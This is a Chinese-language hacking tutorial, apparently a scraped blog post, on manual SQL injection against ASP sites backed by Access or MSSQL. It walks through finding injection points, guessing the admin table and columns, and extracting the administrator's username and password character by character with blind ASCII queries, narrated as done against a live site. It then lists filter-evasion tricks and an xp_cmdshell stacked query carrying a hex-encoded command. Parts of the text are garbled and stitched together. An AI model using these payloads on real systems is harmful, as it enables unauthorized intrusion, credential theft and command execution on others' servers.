赞
踩
1.检测注入点:
一般是在连接的后面添加and 1=1 and 1=2 如果2次返回的页面不同就意味着存在注入漏洞。
注入点我找好了!
2次返回不一样,说明存在注入漏洞!
2.猜解表名:
在注入点后面输入 and(select count(*) fromadmin)<>0
3.猜解列名:
同上面的猜解表名没有多大区别and (select count(字段名) from 表名)<>0同样是看返回的页面,返回正常则“此字段”存在 !admin中存在username 试试password2个都存在!
4.猜解管理员个数:and(select count(*) from admin)=1
(同样是看返回页面)
看样子只有一个管理员!!
5.猜解管理员用户名和密码的长度:
and (selectlen(username) fromadmin)>=1、>=2、>=3、>=4、>=5、>=6
(同样是看返回页面)一直把数字从1开始加,加到返回错误为止!
10返回错误,说明是9位继续测password 14返回错误,说明是13位
username 9位password 13位
6.猜管理员用户名:
最为关键的部分了...仔细看吧!
and (selectcount(*) from admin where (asc(mid(username,1,1))) between 30 and130)<>0
username的字段第一个字符的ASCII码在30—130之间,然后再次缩小范围提交,直到返回正确为止!
然后对照ASCII码表,即可猜解出管理员帐号的第一个字符。
猜解第2位则and(select count(*) from admin where (asc(mid(username,2,1))) between30 and 130)<>0
范围在45-48之间!很小了
说明username的第一个字符是48对照ASCII就可以知道第一个字符是什么了!
还要猜8次! 48 51105
密码
最后用明小子来弄吧!
验证一下!是51还是验证下好,免得错误
为了节省时间我就密码帐号各破解3位,然后用明小子解决!
and (selectasc(mid(username,1,1))from admin)=这里填范围!
PS:ASCII码学过计算机一级的因该知道这是什么~我就不多说了
顺便附送ASCII码对照表http://dev.csdn.net/article/41/41977.shtm
7.猜解管理员密码
同6是一样的,只不过是换了个“列”而已!
上面已经演示了!
嘿嘿其实手工注入就是这样,但是用工具就比较快,但是,如果没有工具呢?
学一下总比不学好!!!!!
现在的网络,脚本入侵十分的流行,而脚本注入漏洞更是风靡黑客界。不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷!
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“'”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
经过我的收集,大部分的防注入程序都过滤了以下关键字:
and | select |update | chr | delete | from | ; | insert | mid | master. | set |=
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。例如or1=1即or1=1,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or'swords' =‘swords' ,由于mssql的松散性,我们可以把or 'swords'之间的空格去掉,并不影响运行。
3、运用字符串判断代替
用经典的or1=1判断绕过,如or 'swords' ='swords',这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or'swords' = N' swords' ,大写的N告诉mssql server字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如or 'swords' =‘sw' +' ords' ;EXEC(‘IN' +' SERT INTO '+' …..')
6、通过LIKE绕过
以前怎么就没想到呢?如or'swords' LIKE'sw'!!!显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,如or'swords' IN ('swords')
8、通过BETWEEN绕过
如or 'swords'BETWEEN 'rw' AND 'tw'
9、通过>或者<绕过
or'swords' > 'sw'
or'swords' < 'tw'
or1<3
……
10、运用注释语句绕过
用代替空格,如:UNIONSelect user,pwd,from tbluser
用分割敏感词,如:UNION SE LECT user,pwd from tbluser
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D
0x640062005F006F0077006E
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
declare @asysname
select@a=
execmaster.dbo.xp_cmdshell @a
效果http://www.ilikeplmm.com/show.asp?id=1;declare@a% 20sysname select@a=0x6e00650074002000750073
其中的0x6e00650074002000750073
http://www.xxx.com/a.asp?id=7,这个网页,我们在后面加上 and1=1(两个空格,and前面一个,and和1=1之间一个!),网址就变成了
http://www.xxx.com/a.asp?id=7
http://www.xxx.com/a.asp?id=7
可是,并不是所有的页面都可以这样判断,有的页面不管你加入and 1=1 还是 and1=2,返回的都是错误的页面,难道这样的页面就没有注入漏洞吗?不一定!比如这个页面:http://www.xxxxxx.com/b.asp?id=ade7,不管我们在后面上的是and 1=1还是and1=2,它都返回错误的页面!这个时候我们就要尝试用另一种方法来测试漏洞了,这种方法可以说是and 1=1和and1=2的变种方法。原来的网址是这样的:http://www.xxxxxx.com/b.asp?id=ade7,现在我们把它变成这个样子:http://www.xxxxxx.com/b.asp?id=ade7'
select * from表 where id='ade7 and 1=2',因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,程序就会查询id值为ade7 and 1=1和ade7 and1=2的记录,这样是查不到结果的(你可不要告诉我数据库里正好有两个记录的id就是ade7 and 1=1 和and1=2)。这里可能有朋友要问了,为什么不是查询id为'ade7,然后and1='1呢?好,我现在回答你们,就算可以查询id值为'ade7的记录,那这个句子也是错的,1怎么会等于'1呢?对吧?更何况程序是不可能查询'ade7的,更准备的说是数据库中不可能有一个字段的值是'ade7,因为这个字符串少一个引号,如果直接把这个字符串存入数据库的话,程序会报错的!怎么样?明白了吧?
select * from表 where id='ade7',如果我们在网址后面加了' and '1'='1,那这个查询语句就会变成
select * from表 where id='ade7' and'1'='1'(这里最外面的那一层引号是程序自动加上的),变成这个样子!这个语句对不对呢?我们分析一下。如果我们提交个语句,那程序就会自动查询id值是ade7的记录!因为这个记录是存在的(不存在的话那就是这个网页有问题了!),然and后面跟的'1'='1'是正确的,所以这个语句是正确的!如果我们把'and '1'='1换成' and '1'='2,那语句就成了select * from 表 where id='ade7' and'1'='2',只看后面我们就可以知道这个语句对不对了!'1'怎么可能等于'2'呢?是吧?好了,字符型参数的注入点的原理就介绍到这里!
B。在注入点后加上(注意,你先确定了它是注入点后再加,不是注入点你加了也没用!):;--(一个分号,两个横线!)比如这个网址
http://www.xxxxxxxx.com/article/as.asp?id=875,我们事先已经确定了它是注入点了,这样的话我们就可以在后面加上;--让它变成
http://www.xxxxxxxx.com/article/as.asp?id=875;--提交这个网址,如果页面返回正常的话,说明数据库是MSSQL。因为在MSSQL数据库里,;和--都是存在的,";"用来分离两个语句,而"--"就是注释符,在它后面的语句都不执行!而ACCESS数据库里没有!所以如果是ACCESS的数据库,当你在注入地址
后面加上";--"的话那程序就会把";--"当成参数的一部分,这样查询就会出错!如果错误,那基本上可以肯定是ACCESS了(因为网上用这两种数据库的网站最多!)
http://www.xxxxxxxx.com/article/as.asp?id=875
http://www.xxxxxxxx.com/article/as.asp?id=875
and exists(select count(*) from sysobjects)
and exists(select count(*) from msysobjects)
http://www.xxxxxxxx.com/article/as.asp?id=875
http://www.xxxxxxxx.com/article/as.asp?id=875
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。